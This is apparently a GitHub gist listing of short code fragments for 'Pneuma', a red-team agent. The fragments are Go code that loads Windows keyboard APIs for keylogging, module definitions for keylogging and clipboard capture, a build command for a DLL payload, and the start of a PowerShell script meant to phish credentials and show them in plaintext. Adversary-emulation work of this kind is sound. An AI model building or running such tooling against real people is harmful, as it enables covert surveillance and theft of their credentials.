khyberspache
/ loadingWinDLL.go
Created
January 19, 2021 14:47
Example of loading windows DLL and Procs for keylogging
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var ( | |
| user32 = syscall.NewLazyDLL("user32.dll") | |
| getAsyncKeyState = user32.NewProc("GetAsyncKeyState") | |
| getKeyboardLayout = user32.NewProc("GetKeyboardLayout") | |
| getKeyState = user32.NewProc("GetKeyState") | |
| toUnicodeEx = user32.NewProc("ToUnicodeEx") | |
| ) |
khyberspache
/ pneumaEXModule.yml
Created
January 19, 2021 14:49
PneumaEX module for keylogging on Windows
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| platforms: | |
| windows: | |
| keyword: | |
| command: module.collect.keyLogger | |
| payload: "#{operator.payloads}/pneumaEX/collect/collect-windows.exe" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if executor == "keyword" { | |
| task := splitMessage(message, '.') | |
| if task[0] == "module" { | |
| var err error | |
| if !contains(util.InstalledModuleKeywords, task[1] + "." + task[2]) { | |
| err = util.InstallModule(task[1], payloadPath) | |
| } | |
| if err != nil { | |
| return err.Error(), 1, -1 | |
| } |
khyberspache
/ commands.go
Last active
January 19, 2021 14:58
Pneuma commands file for an internal API task
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if executor == "keyword" { | |
| task := splitMessage(message, '.') | |
| if task[0] == "api" { | |
| return CallNativeAPI(task[1]) | |
| } else if task[0] == "config" { | |
| return updateConfiguration(task[1], agent) | |
| } | |
| return "Keyword selected not available for agent", 0, 0 | |
| } |
khyberspache
/ commands_other.go
Created
January 19, 2021 14:59
Define build for non-windows platforms
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //+build !windows | |
| package commands | |
| func CallNativeAPI(task string) (string, int, int) { | |
| return "Not implemented for non-Windows platforms", 1, -1 | |
| } |
khyberspache
/ commands_windows.go
Created
January 19, 2021 15:00
Define commands build for Windows platforms
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package commands | |
| import ( | |
| "encoding/json" | |
| "log" | |
| "os" | |
| "syscall" | |
| "unsafe" | |
| ) |
khyberspache
/ main.go
Created
January 19, 2021 15:08
Example main.go for pneuma to compile into a shared library with an exported function on Windows
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //+build cgo | |
| package main | |
| import "C" | |
| import ( | |
| "flag" | |
| "github.com/preludeorg/pneuma/sockets" | |
| "github.com/preludeorg/pneuma/util" | |
| "log" |
khyberspache
/ build.sh
Created
January 19, 2021 15:09
CGO build command for Windows DLL with 64-bit address ASLR and NX compatibility on
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| GOOS=windows CC=x86_64-w64-mingw32-gcc CGO_ENABLED=1 go build --buildmode=c-shared --ldflags='-s -w -X main.key="MYKEYISBESTKEY" -extldflags "-Wl,--nxcompat -Wl,--dynamicbase -Wl,--high-entropy-va"' -o payloads/pneuma.dll main.go; |
khyberspache
/ Invoke-PromptForCredentials.ps1
Last active
January 19, 2021 15:27
Prompt a user for credentials on Windows and dump in plaintext
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $type=@" | |
| using System; | |
| using System.Text; | |
| using System.Runtime.InteropServices; | |
| public static class CredUI | |
| { | |
| [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] | |
| private struct CREDUI_INFO |
khyberspache
/ clipboard_module_ideal.yml
Created
September 3, 2021 18:28
Example of what a good Keyword TTP would look like
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| platforms: | |
| darwin: | |
| keyword: | |
| command: collect.captureClipboard |